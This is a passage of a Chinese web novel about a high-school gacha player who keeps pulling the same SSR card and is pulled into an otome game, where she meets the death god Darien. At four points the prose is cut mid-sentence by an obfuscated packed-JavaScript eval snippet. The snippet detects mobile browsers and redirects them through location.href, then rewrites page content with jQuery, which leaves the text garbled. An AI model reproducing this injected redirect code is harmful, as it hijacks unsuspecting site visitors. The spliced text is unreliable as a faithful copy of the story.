《停一停，怎么七抽都是你？》 1. 专注抽卡一百年1 “暴躁少女柳如是，我爱你。” “我愿为你赴汤蹈火、披荆斩棘。我活着的唯一心愿就是希望你可以在这片荒芜的土地上前进，让我来保护你，无论什么魔鬼都绝对无法伤害到你。” 眼前这个翩翩白发少年用悦耳动听的完美嗓音向“她”告白，他微眨双眼，微钩嘴角，如同皎洁弯月那般，圣洁美丽。 这是《与死神同行》游戏里的可攻略人气王——芳汀。 因为长相英俊，气质高贵，公子哥般的华丽外表再加上那张小嘴什么甜蜜情话都能信手拈来，依靠着身为死神却媲美天使的性格，让这名角色一跃成为了《与死神同行》里的烫男人。 除了…… 平平无奇的高中生少女柳莳萌。 ——游戏ID“暴躁少女柳如是”的身后玩家。 “拜托！” “顶着这么一个容易让人出戏的游戏ID看活动剧情，恋爱氛围感几乎为零……我怎么可能会对芳汀提起兴趣。” 在教室里叉着腰，如此说道的柳莳萌很快就被她的同桌兼游戏好友虞晓君赏了一沓笔记本摔桌攻击。 “还嘴硬，别以为我不知道你最喜欢他了！” 虞晓君头发一撩，眼皮一掀，信誓旦旦道：“芳汀从一个月前上线到现在，一共就出了10张SSR和17张SR，其中1张是超级稀有的活动限定‘白蔷薇堕天使’。” “别忘了这个游戏的收集率都是公开的……你特、喵、的居然全、都、有！” 哪怕两个人是好同桌好朋友，也挡不住虞晓君对柳莳萌分外眼红。 她最喜欢的角色就是芳汀，尤其是那一张活动限定，说是她的“此生挚爱”都不为过。 眼看着好朋友将心爱的美男收入囊中，自己却无计可施，虞晓君先是哭干了眼泪，后气的直想啃擦眼泪的手帕。 “啊，你说那个啊。” “我只是喜欢他的脸而已。” 俗话说得好：只喜欢一个人的脸能叫喜欢么？那叫“颜控”好么！ 不过她在游戏里的确最喜欢推倒芳汀的剧情了。芳汀最对柳莳萌的胃口，而受惠于人气，他的卡面多是怼脸美貌，无论是衣装还是背景都非常精致。 总之，看见一张不失帅气与美貌的脸庞就是她肝游戏的第一动力！ 柳莳萌耸了耸肩：“就算我再怎么喜欢芳汀，光靠喜欢也拿不到他的卡。” 虞晓君只知其一不知其二：柳莳萌在家非常喜欢玩游戏，活脱脱一个重度游戏患者。 她一锤桌子：“那张卡要么靠运气要么靠肝，你知道我是肝了多少个日日夜夜才拿到手的吗！至于运气……呵呵。” 柳莳萌对自己的非酋本色有着非常深刻的认知：“我抽卡时运气有多背你还不知道么？” 她甚至怀疑自己上辈子是非洲的，投胎转世的时候孟婆汤没喝干净，顺便把一身黑气带过来了。 虞晓君一脸不相信：“哪里有，我怎么不知道。”说完，她从抽屉的课本里掏出手机，“要不你现在抽一个试试？” “叮铃铃”—— “上课铃响啦，我们下课再说。” *** 今天刚好是《与死神同行》发布最新活动公告的日子，下午五点准时更新开放，因为某些不可抗力因素游戏额外维护了半个小时，开放时间延迟到了五点半。 柳莳萌打开游戏的时候已经维护好了，同时，她的邮箱收到了一封邮件。 邮件内容大致分为两个部分，前半部分是恳切的致歉，后半部分则是承诺会为全服玩家发放十抽延迟补偿。最后在附件处，柳莳萌如约获得了十张单抽券。 “哦豁！”虞晓君凑了过来，“刚好出新活动，又送了点抽卡券，正好，你快抽一个测测欧非嘛！” “测欧非”是玩家对抽卡机制的戏称，欧洲人运气好，非洲人运气差，大家都想当欧洲人，柳莳萌对好运气的执念绝对不输与其中的任何一人。 一般情况下，十张单抽券可以直接凑够一次十连抽，但柳莳萌选择另辟蹊径。她不打算一次性抽完，而是一张一张抽。 至于为什么要这么做，她也不知道，可能……这就是一种冥冥之中的“直觉”吧。 粉红色的按钮近在眼前，柳莳萌闭上双眼，义无反顾地按了下去—— 这时，游戏内的抽卡提示闪跳了出来。 【游玩与死神同行的玩家们请注意——游戏内的角色卡等级由高到低依次为：SSR、SR、R和F，本次活动卡池的概率为0.25%、9.65%、85.10%、5%，保底0/60次，继承进下一次活动卡池中。】 【请玩家们适度游戏，适度消费哦~】 这方面内容柳莳萌已经很熟悉了。 R卡是普通卡，主要为路人甲乙丙丁，一些在游戏主线剧情中出现却一闪而过的那类人。 这还算是好的，在最近一次更新中，策划不知道抽了什么风开了战斗剧情和新圣物系统，那些丑陋的妖魔鬼怪也被塞进了F卡里充数。 F卡是经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108894|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验卡，主要为玩家们的花园宠物，主打一个无用但可爱，会撒娇会卖萌的陪伴系副主角。 SSR和SR卡都是主角卡，其中SR为日常卡，黑白色，卡面多为日常服与战斗服；SSR为稀有卡，卡面多为特殊活动服与特殊战斗服，有金黑色和银黑色两种卡面颜色。 但作为重度游戏玩家的柳莳萌知道：这不单单是为了区分开SSR和SR，这个设计非常巧妙地将死神们分成了两种派系。 金黑色的死神是死亡的象征。 他们的人设基本上是寡言少语的强者，攻略剧情中是对玩家态度冰冷的酷哥，最典型的是不把人当人看的“与里弗”，但主线剧情后期变成了占有欲强悍，执意不让玩家死去的黑切白。 这种反差萌让很多玩家欲罢不能。 银黑色的死神抛弃了一部分神性选择抱拥人性。 他们的人设基本上是温柔体贴的强者，天然亲近自然与人，攻略剧情中是对玩家百依百顺的好好先生，最典型的就是“芳汀”。但主线剧情后期的伏笔暗示了人性中的扭曲迟早会转变死神的品格…… 因为人设已经足够吸引人了，这种白切黑走向的伏笔更是吊足了玩家的胃口，嗷嗷大叫着“编剧速速更新主线，别开你那个新活动了ballball”。 乙女游戏《与死神同行》仅用了一个月时间就成了热门游戏。玩家专注砸钱制作专注更新，这与有着致命魅力的死神们身上的重重谜团，死神们与玩家们的交织羁绊密不可分。 “呵。” 柳莳萌冷哼一声。 “我柳莳萌，必然是专注抽卡一百年不动摇。”无氪即肝，她可是一个光靠肝就肝满活动全收集的女人！ 剧情是什么，恋爱感又是什么，除了暖身暖心和虐身虐心以外能带给她什么？她从始至终要的只有一个—— 新卡、新脸、新男人！ 出来吧！ 像是在回应柳莳萌内心中那股热烈涌动的渴求，手机屏幕发出绚烂多彩的白炽光芒，六芒星矩阵迅速转动。 芳汀在银黑色派系里，象征物是湖水，只要抽卡时闪烁出湖蓝色的光芒就是抽中了，柳莳萌双手合十，将一切希望寄托于下一瞬出现的光芒。 但因她早早闭上了眼睛，所以并没有看见光芒是什么样子的。听见虞晓君在自己身旁大叫了一声“SSR！”，柳莳萌才缓慢睁开两道勉强能辨识光芒的细缝。 那一刻，她沉默了。 “淦。” “这货……是谁啊？” 2. 专注抽卡一百年2 SSR·千万里寻 卡面正上方的名称显示是“达里恩”。 这是《与死神同行》里最后登场的新角色。从卡面颜色上看，他应该分属于银黑色阵营，但是性格比较木讷反而更偏向金黑色阵营。 因为人气低迷不被亲妈疼爱，他的稀有卡和相关剧情少的可怜，大部分时间里都被相当笼统的“混沌方”给一笔带过了。 不关心不认识不想要。 “好气，歪了！”柳莳萌对除了芳汀之外的角色半点兴趣都没有，她很快速地按向了右上角的透明窗格叉。 “等等等等——！” 虞晓庆按住了她的手，“这可是SSR诶！你都不仔细看看是什么卡吗？说不定你会喜欢呢？说不定大有用处呢？” “据说这次更新预热PV加入了很多战斗过场，还有一个圣物系统……” “打住，我最讨厌什么战斗了。” 柳莳萌不喜欢战斗系统是一方面，另一方面，虽然她爱玩游戏但也知道分寸。学习之余当个消遣可以，倾注过多感情就太超过了。她的眼神是很吝啬的，当然，对十分中意的脸例外。 “好了好了，知道你理智行了吧。”虞晓庆挤出一个鬼脸。 “那我继续抽啦。” 她在屏幕上隔空做法画了一张符，企图用这张符来借点福运，但是结果依然是显而易见的惨。 这次单抽依然是“千万里寻”，不仅如此，接下去的五抽都是这一张卡，柳莳萌的脸色由刚开始的踌躇满志变成了愁眉苦脸。 “是你……？斗篷哥……为什么又是你……？” 单抽七次都是同一个SSR，这种事情真的是会发生在正常抽卡游戏里的吗？！她捧起手机，不可思议地仰面朝天，眼神像是在看一个鬼。 宽大的深黑色斗篷兜帽之下，达里恩那若隐若现的勾唇微笑仿佛是在淡淡地嘲讽她，就连卡面的名称也是如此应景。 啧！可不就是千百度上万次的鸿门狗屎运才能让我遇见你么？好屎都是屎到淋头的，柳莳萌猛地眯起双眼。 “好邪门的运气，我不抽了。”连送的十张单抽券都没有抽完，柳莳萌就匆匆下线了。 “这种运气还算差？七张SSR诶，你简直是福星转世了！”虞晓庆不仅不同情柳莳萌，还在旁边打趣她，“往好处想，说明达里恩和你有缘。” “新卡月月有，缘分难难寻，单推好轮回，多推造报应，不如……你把芳汀的活动限定卡送我呗？” “？” 柳莳萌满脸问号：“好啊你……原来是在这里等我呢？算盘珠子都崩到我脸上了！” “想都不要想！没门！” *** 入夜。 柳莳萌在睡梦中听见了一个朦朦胧胧的声音，像是什么人在呼唤着她，她翻了个身，含糊道，“先别叫我……十分钟后再叫我吧……十分钟后我肯定起床……” 听到这句，呼唤她的人反而更加急躁了。 “十分钟？” “我哪来的功夫等你十分钟？！” “起来！知不知道你现在睡在大马路中央挡住我的车了？后面还有很多车按喇叭催我呢！再不起来我就直接开车从你身上压过去了啊，要事在身，别怪我冷漠无情啊。” 柳莳萌：“哎呀你压吧，我肯定是在做梦呢！” 这时，一阵冷飕飕的寒风让这句话变得真实，柳莳萌瞬间睁开双眼，她被冻醒了：淦，这个梦为什么这么真实？ 她撑着手臂坐起身，柏油路面的粗糙颗粒感让她有些恍惚，刚刚应该下过雨，上面还沾有湿漉漉的雨水。 “这未免也太真实了。” 【“你”已经死了。】 柳莳萌的面前出现了一个透明面板。 它不受控制地向下自动滚动着，面板上的黑色文字被不断刷新…… 【家庭和睦，生活幸福，六个月前考上了本市的名牌大学，刚刚过完成人礼，这样的“你”，很不幸地死于一场因酒驾而引发的交通事故。】 【“你”并不想死。】 “啊？” 她赶忙摸了摸自己的左胸/口，感受到心脏跳的好好的，甚至因为紧张比平时跳的更快。 “不对吧，我好像没有死啊？” 【……】像一个无情的阅读机器，柳莳萌的疑问并没有得到面板的解答。不仅如此，面板上还出现了一个镰刀模样的按钮，下方的字样示意她要点击一下，时间才能够正常流动。 邪门！我就不点！柳莳萌执拗心道，反正时间暂停也不会死，大不了坐在这里呆一辈子！ 但是才过去五分钟，她就因为太想看下去而心痒难耐了。 “咦，这段文字有点眼熟，我是不是在哪里看过？” “好像……是我玩过的某款游戏吧？”柳莳萌第一反应并不是感叹“自己怎么穿进了游戏里”，而是——游戏的成瘾机制真的不是吃素的！她咬了咬牙，最终还是点了上去。 【但是，这不是“你”的终点。】 【在这座星月城市里，有能够扭转人类生死与命运的“死神”，但他们变换了身形与普通人无异，且死神不会随随便便帮助一个普通人，所以，这就是“你”的第一个任务。】 【新手指引任务：请在“星月城市”找到那个可以扭转“你”的命运的“专属死神”。】 【任务奖励：激活抽卡系统，邂逅卷轴×7】 【失败惩罚：回到初始状态】 柳莳萌心里一惊。 她想起来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108895|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：这是《与死神同行》的第零章剧情，开始游戏后的寥寥几句，简单介绍了玩家是如何与攻略角色死神邂逅并与之同行的背景故事。 但是，第零章是没有任务的，更没有所谓的“新手指引任务”，这到底是怎么回事？！ 【……看完了吧？现在你可以和我进行对话了。】 柳莳萌蓦地站起身：“你是谁？我为什么会出现在游戏里？还有，游戏里并没有所谓的新手指引任务才对，这个任务和我到底有什么关系？” 【你问了三个好问题。】 【回答你的第一个问题：我是“主线面板”，负责为你传输游戏的主线剧情和关键提示，发布相关任务。像我这样的面板以后还会有很多，但他们并不会像我一样详细介绍自己，还请你谅解。】 柳莳萌：“为什么？” 【……这是三个问题之外的额外问题。】 “哦莫，不想回答啊？可你刚刚不是说了会为我详细介绍吗？”她狡黠地眨巴了一下眼睛。 【……是。身为玩家你也应该非常清楚，当一个游戏从巅峰期进入低谷期，往往会出现疲软阶段，在这个过程中会出现各种各样的问题，包括敷衍……】 柳莳萌连连点头：“我懂了，你这算不算是在骂自己啊？” 【好了，我就说到这里为止。】 【现在回答你的第二个问题：我不知道。我不知道你为什么会出现在这里，但我知道你会出现在这里纯粹是因为偶然。】 “啥？” 【因为你在《与死神同行》游戏中连抽七次都是同一个SSR的事迹打动了我的上司，也就是“游戏之神”。】 【他认定这位玩家与“达里恩”天生一对，希望亲眼见证你与你的命运之子会产生什么样的邂逅，于是就把你给带到这里来了。】 【说到这里，就是第三个问题的回答：新手任务会指引你与达里恩邂逅，而在完成所有任务后，你将会回到现实世界。如果所有任务你都能够出色完成，达里恩将有机会和你一起回去。】 “啊？？？”柳莳萌瞪大双眼。 “是这样的，我并不想带那位达里恩回去，可以直接让我回到现实吗？”为了表现自己的诚恳，她还礼貌地向透明面板欠身示意。 【我明白了。】 【那么现在可以立刻认定你的新手指引任务失败。请你接受相应失败惩罚：回到初始状态】 透明面板瞬间消失，但它又很快出现了。 【“你”已经死了。】 【家庭和睦，生活幸福，六个月前考上了本市的名牌大学，刚刚过完……】 “……救命啊！” 柳莳萌后悔地抱住头。 原来失败惩罚的意思就是“从头再来”吗？！ 3. 专注抽卡一百年3 又将那些重复的内容细看过一遍，柳莳萌逐渐认清了一个残酷事实：除非自己完成任务，不然就会被困进游戏循环中，永远也别想回家了。 【……看完了吧？现在你可以和我进行对话了。】 对一个重度网瘾少女来说，能够游戏人生其实也没什么不好的，柳莳萌很快便接受了所谓的新手指引任务。 通过第一次对话，她已经把最迫切知道的问题都问完了，但是想要完成这个任务还远远不够，至少自己不能像无头苍蝇一样在大城市里乱转吧，“有提示吗？” “比如身份、样貌、爱好、经常会出现的地点什么的，这点提示总该要有吧？” 【身份……样貌……？】主线面板用几个标点符号展露出了些许震惊的情绪。 【这位玩家，据我所知，你在现实世界中应该看过达里恩至少七次了。难道说，你从来没有仔细看过他吗？】 “啊。” 那张卡里居然有线索吗？柳莳萌心虚地偏移开视线，最后，她选择了破罐子破摔，“没有。” “是我的错。” 她背手垂下头，脑袋一路垂到肩膀之下，看上去十分沮丧。 “如果我早知道自己会来到这个游戏世界里，肯定会把达里恩当成宝贝翻来覆去地看啊！”柳莳萌痛定思痛，她做好了要和达里恩纠缠到死的准备。 “不，不是看，是欣赏！” 除了结婚，她愿意为他（回到现实世界）做任何事情。 “我说的是真的。”柳莳萌颤抖着交叠起双手，让自己的双眸看起来泪花涟涟，“只求你让我再多看上一眼……” 她面不红耳不赤地吐出假话。 其实柳莳萌对这位陌生的死神提不起半分兴趣，但他可是她的“救世主”！对救命恩人的感情哪里会比喜欢的人逊色呢？ 【好吧。】 【本来按照我所发布的任务，你需要完成新手指引任务才能够激活抽卡系统，但看在你这么热切的份上，我可以破例让你优先获得SSR卡千万里寻。】 只一眨眼的功夫，柳莳萌看见透明面板上逐渐浮现出一行新的小字。 【你已获得玩家专属道具“星月宝匣·残缺的碎片”。】 【注：此道具可用于收纳玩家所抽取的卡面，卡槽容量无上限，目前仅开放一个卡槽，仅可收纳一张“千万里寻”，完成新手指引任务后此道具会自动升级为“星月宝匣”。】 已经完成了自己的任务，不等柳莳萌再多问什么，主线面板很快消失了。 “怎么走的这么快啊，我还不知道要怎么找道具呢……” 柳莳萌的脑海中刚刚闪过道具的名字，像是有心灵感应一般，星月宝匣自动跑到了她的掌心里。 从外观上看，这就是一个浅紫色的小卡装饰盒。 盒面晶莹剔透，盒身触感平滑，表面似乎是丝绒的质地。精致的金色藤条纹托捧着白色玫瑰花纹，透过外壁能直接看见内壁，两颗小小的水钻将一张银黑色的卡压在正下方。 “又见面了，斗篷哥。” 柳莳萌捧着它静静端详。 这是一张特殊活动服卡，她能从男人那极不合身的宽大斗篷之下窥见白色衬衫衣领。 “这应该可以成为一条线索。” 柳莳萌继续挖掘卡面中关于达里恩身份的线索。 他背身站立，准备离去，像是突然被身后的人叫住，微微回头，翩飞的发丝遮挡住了他的眉目，只露出勾起的唇角。但仔细看，还是能从发丝间的缝隙发现一抹紫色的痕迹。 “唔，眼睛是紫色的，这副模样和应该还挺少见的吧。”柳莳萌摩挲着下巴，“反正现在没有时间限/制，可以先去周边转一转。” 时间恢复流动后，她先离开了马路，来到了安全的人行道。 周围车辆川流不息，人来人往，柳莳萌沿路找了二十余人，人没找到，眼睛先看花了。 “还以为过路人都是老大爷和老大妈，没想到长的都挺好看的……” 游戏里关于“路人”的部分没有任何描述，因此他们不会说话。柳莳萌大胆地看他们也没有任何反应，就算她站在路中间拦住路人，路人也只会好脾气地停下，然后沉默地盯着她看。 又没忍住多看了几眼，她回过神来揉了揉眼角，心道：不行！这样找下去不是个办法，SSR卡里一定还有别的线索！ “对了，我记得游戏里每张卡都有一段对应的故事。” 千万里寻的故事是什么呢？ 柳莳萌摸了摸卡面，边缘开始延伸，像一幅藏青色的卷轴徐徐展开，数根羽毛笔齐刷刷在卷轴上为她书写下一位新生死神的追寻。 「诞生之初，达里恩并不明白自己存在的意义，看着前辈死神们在人间的优异表现，他的内心愈发迷惘。」 「‘有必要刻意让人类死去吗？’彼时，达里恩淡漠的眼神已经洞见了命运的残酷，‘反正他们的岁月长足不过百年’。」 「百年能得到些什么？百年于死神不过弹指一瞬，人类的寿命到底有何等珍贵，竟然只够支撑他们度过百年。于是，达里恩开始漫无目的地寻找那所谓的‘珍贵的事物’。」 「他有时候会直接了断人的性命，有时候又会对濒死的人出手相助，与死神间明确对立的两大阵营不同，达里恩并不属于任何一方。他像一只自由的飞鸟，一切法则皆遵循着内心深处的尺度，但在漫长的等候之后，他选择了落在某处。」 「因为，他看见了‘你’。」 「千万里寻的意义就在此处。」 *** “……哇哦。” 良久，柳莳萌发出一声感叹。 “没想到这个角色居然是这种浪漫的人设？” 卡面剧情是达里恩有且仅有的高光时刻。在主线剧情里，他给玩家的感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108896|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受就是一个身份不明，说话还遮遮掩掩，只说一两句的背景板。 因为活的像个半路被拽进来充数的，达里恩的人气特别低迷。 “浪漫的人啊，唔，这个范围也太宽泛了。” 思考两下，柳莳萌很快开始头疼了。 “或许可以优先考虑杂志社，或者是教授、老师之类的高级文学类工作者？” 由于手上没有任何可用的道具，柳莳萌直接向路人借了部手机，打开电子地图，搜索起周边的主要建筑信息。 星月城市最大的杂志社叫“漫铁社”，坐落在城西远郊，两个地方之间的距离需要她在地图上多划拉两下才能够看到。 “好远啊。”就算是游戏世界，可自己又不会瞬移，去那个地方显然有点不太现实……柳莳萌开始极速疲惫。 但越是不现实的事情往往越是正解，这值得她斗胆一试。 刚好马路对面不远处就有一个地铁站，可以通行的绿灯亮起，柳莳萌飞快地跑了过去。 在穿越人行横道的时候，柳莳萌突然意识到这条过道居然一个行人都没有，不仅是这条过道，十字路口处亮起绿灯的路段也没人通过。 “这该不会是空气墙bug吧？” 【不是。】 透明面板出现在柳莳萌眼前，她惊讶道，“主线你上线啦？难道我是进入什么特殊场景触发剧情了？” 【不，你并没有触发剧情，而是触发了一则关键提示。】 【请仔细阅读以下关键提示，这能够有效降低完成新手指引任务的难度。】 【设定里玩家就是在这个地方发生车祸死去遇见死神的，因此，这是一条每五分钟就必然会发生车祸事故的“死亡之路”。这也是为什么即便马路附近的绿灯亮了行人也不过马路的原因。】 “等等，难道说……”柳莳萌难以置信地睁大眼睛。 【我认为提示的内容已经相当充分了，不过碍于新手保护机制，你还可以再额外问一个问题。】主线面板无情地弹出一句文字。 “好。” 她闭眼思索片刻，开口道，“提示的关键是要我在死亡之路上死去吗？像玩家遭遇过的那样。” 【不是。】 【你并不是玩家，你只是获得了玩家在游戏中享有的权利。游戏之神的本意并不是让你重蹈覆辙，而是希望你能够在这里，在这个与玩家相差无几的命运中做你自己。】 “哈哈。”柳莳萌能够看得出来游戏之神的言外之意：如果自己死了，那么任务就会失败。她会再次接受惩罚，回到初始状态。 “不过如果是我的话……” “比起死翘翘之后遇见死神，我的确更想活着遇见他！”柳莳萌很快做出了她的决定，“我要在这条死亡之路上一直活下去。” 【我认为提示与一个问题的回答已经足够充分了。】 【那么，祝你好运。】 4. 专注抽卡一百年4 俗话说的好：知己知彼，方能百战不殆。柳莳萌准备先站在路边观察一下这条死亡之路到底有多死亡。 但现在她正站在马路中央。 “完蛋了。” 她的额角缓缓流下一滴冷汗。 无论怎么看这个位置都是最容易噶掉的地方，“如果一个人生死未定，那么她至少还有百分之五十的几率活下去，但在这个地方，嘎掉的几率至少是百分之九十九点九。” “刚刚就不该对主线面板说出那种豪言壮语的，仔细想想，这和‘死前立flag’的行为也没什么区别……” “别”的“b”还没有从柳莳萌的嘴里念出来，她就感觉胳膊肘凉凉的，像是有一阵凉飕飕的阴风从身后迅速刮过。 “刚刚什么东西过去了？” 柳莳萌扭头，看见了一辆黑色摩托车。就是它刚刚从她身后疾驰而过，并且正在以失控的速度继续向前高速行驶。很快，黑色摩托车和迎面驶来的银色小轿车撞到了一起。 小轿车车盖肉眼可见的被撞凹进去一大块，摩托车……“咦？摩托车呢？” 柳莳萌鬼使神差地抬起头，“那个在天空中像螺旋桨一样旋转飞起来的东西……该不会就是摩托车本车吧？” “这、这已经不是普通的交通事故了吧？！” 她回想起来：在《与死神同行》开始游戏的界面里有一个免责声明。 声明里说了这是一个完全虚构的架空世界。换句话说，在这里发生任何违反常理、超出认知的事情都是可能的。 摩托车被撞飞了，而这个“飞”，变成了真真正正的在空中飞翔。而它即便到了空中，也还在遵循车祸的设定继续失控着。 失去了车轴，所有零件像失去重心的锚点一样四处乱甩。被甩飞的车头向柳莳萌高速袭来。她先是僵在原地，愣了一秒。 逆光的黑影随着时间的流逝不断放大，撞碎的车灯、歪掉的车把、干瘪的轮胎……能看到的东西越来越多，轮廓越来越清晰，距离越来越近了…… 她本能地向后跳了一步，车头正正好砸在她刚刚站过的地方。 “好险。” 柳莳萌坐在地上长吁出一口气：活下来了。 这之后的五分钟内她是安全的。 “本来以为幸运躲过车祸就没事了，没想到还要躲避高空坠物，唉，道路千万条，安全第一条，所以说，道路安全是多么的重要啊……” “唔！” 突然，一股莫名的巨力将柳莳萌带向后方。她难以自控地向后倒去，撞进了一个略微硬邦邦的怀里。 温暖的气息扑面而来，迅速笼罩了全身。 这个高大的身形，是男人；这个充满安全感的体魄，是男主，这个人究竟是谁，柳莳萌在那零点零五秒内已经有了答案。 但是在那之前她已经先痛到无法呼吸了！ “你这个胸膛……难道是铁块吗？！”柳莳萌吃痛道，眼角挂上泪花。 “不是的，这是防护带扣。” “……” 在这之前，她还对自己与达里恩的初次相遇保留着美好的幻想，在这之后，她满脑子都是“安全带扣”。美好的幻想就这样破灭的稀碎。 明明是第一次见面，但他还紧抓着她手不放。柳莳萌没有去看他的脸，而是看向那只手。 那是一只骨节分明的大手，宽大到能将她的手掌完全包裹在指骨内，微带铜色的皮肤掩盖掉了手背上的青筋，指腹间有愈合的伤疤，还有几层薄薄的旧茧。 她沉默了。 因为这些特征看上去与她最初的构想背道而驰，也与她的基本取向差之千里。 “你抓着我不放是要干嘛？” “救你。” “你好像只注意到了车身，没有注意到那个头盔。” 话音刚落，柳莳萌就看见达里恩所说的那个头盔“骨碌骨碌”地从两人的脚边滚过。 她甚至连头盔是什么时候落到地面上的都没有察觉。摩托车的车头比头盔大，也比头盔重，会比它更快速地落下，从而将它完全遮挡住。 “多谢你出手救我，也省得我去找你，现在你可以放手了。”柳莳萌轻轻晃了晃手。 “嗯。”他照做了。 奇怪了，按照乙女游戏的基本套路，他不该找个借口继续抓着么？这样他们就可以自然而然地发展到牵手了。 难道她在死神眼里并不是那个能够让他一见钟情的女孩？ 柳莳萌：可是，既然他不喜欢我，又为什么非要救我呢？ 似乎是察觉到眼前的人和其他人不太一样，达里恩试探性地向柳莳萌望去。 在他所生活的世界里，还从没有人见到他不会感到害怕的，她是头一个没有躲开他的人。 冥冥之中，他也觉得自己应该要找到这个人。 达里恩几乎没有细想就出手救下了她。明明他的主要工作是收割死去的灵魂，在这之前他还从没救过人，达里恩对自己的反常行为感到疑惑。 很快，在发现“那个东西”之后，他明白了自己的疑惑来源于何处。 ...... 【恭喜你，新手指引任务已完成。】 【获得任务奖励：激活抽卡系统，邂逅卷轴×7。奖励将于10分钟后发放。“星月宝匣·残缺的碎片”已自动升级为“星月宝匣”。】 【第零章至第五章主线剧情暂无更多任务，剧情将自动更新。】 【注意：自动更新期间为“自由活动时间”，为期五天，地点为“星月城市”。五天后将进入首次活动剧情，届时主线面板下线，活动面板上线，活动剧情、活动相关提示、活动相关任务均由活动面板发布，请合理安排好时间。】 “这是你的任务？” 达里恩突然问了一句。 这句话把柳莳萌吓了一大跳。 “你看得到面板？” 她惊呆了。这应该是只有玩家才享有的特权，要是游戏角色也能看到的话岂不是要成精了。 达里恩摇头，回：“因为你刚才一直盯着天空看，我叫你很多次，你都没有回应。”他的眼眸突然变得深邃神秘，“我在想，你是不是在看什么只有你能看到，而我看不到的东西，类似于暗号……” “现在我知道了，那个东西是面板。” 他轻轻笑了，“虽然你我还不认识，但从先前的种种行为上看，你的身份并不难猜。” “外来者的特征我还是了解一些的。” “……你诈我？！” 柳莳萌倏地攥紧手。她尽量保持冷静，缓缓抬头，仰视身前高大的死神。 然后，她被吓到了。 因为达里恩的颈侧有大面积的烧伤疤痕。 这些疤痕一路蔓延到眼下，以一种地狱烈火的姿态张狂地扭曲着。 本意可能是想让他的身世凄惨点，又或者是想让他看起来有特色，可实际上看，真的相当可怖。 柳莳萌先闭了一下眼睛，才敢将目光定格在达里恩的脸庞上。 即便他什么都不做，面无表情地站在原地，都像一个从鬼门关回来的凶神。 这位应该是所有角色中最贴近死神的了，柳莳萌无声地叹息，刚刚感受到的温暖气息好像都是她的错觉。 在感受到她失落的那瞬间，达里恩也肉眼可见的失落下来。原来，她也和其他人一样不喜欢亲近他。 “我不否认，我是在诈你。”他爽快地承认了，“当我确认你是外来者的时候，发生在我身上的反常行为就有答案了。” 等等，难道说…… 这熟悉而又危险的台词让柳莳萌脑中警铃大作。攻略别推这种事情，千万不要啊！ “但外来者应该会比我更清楚一件事情。” “我不是那种愿意乖乖服从命运安排的人。”达里恩抱住双臂环在胸前，一副很不好惹的样子，“所以，我想知道你到底了解我到何种程度了？” 柳莳萌感觉自己突然就来到了命运的选择支。以前玩游戏只需要动动手指做出选择，而她面对的是无解的“填空支”。 真要了亲老命了。 “好啊。” 她自认为自己了解的并不充分，应该达不到攻略对方的标准。首先，随便说一个他能听懂的。 柳莳萌深吸一口气：“我知道你的名字。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108897|164028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你叫达里恩。” 达里恩眼前一亮。 但他很快意识到自己不能在这个陌生的外来者面前表露出自己的真实情绪。因为外来者很有可能会利用他在他所珍视的世界里做坏事。 他不能如此轻易地相信她…… 达里恩咬了咬下唇，一遍又一遍地默默提醒自己，让内心那份被触动的喜悦渐渐麻木下来。 哪怕在那一瞬间，他感受到的喜悦是如此真实，他也要意识到：这是外来者拥有的一种“特异能力”。而他与外来者终究是两个世界的人。 “……还有吗？”达里恩阴郁的表情早在柳莳萌的预料之中。 “接下来，我可能要说一些你听不懂的话了……” “说吧。”达里恩点头，“你来自一个不属于我的世界，与我毫不相干，会说些我听不懂的话也很正常。” 有必要说的这么无情吗？柳莳萌摇头，无奈苦笑，“也不算毫不相干……”她的眼睛从上到下，将达里恩笔直的身影扫了一遍。 “这么说吧，其实我们并不是第一次见面。” “在你见到我之前，我就已经认识你了，只不过你不知道而已。”勾动的手指挑弄着落肩的长发，柳莳萌叉腰俏皮道。 “因为——我抽到了你的卡！” 这可真是一个意想不到的回答。 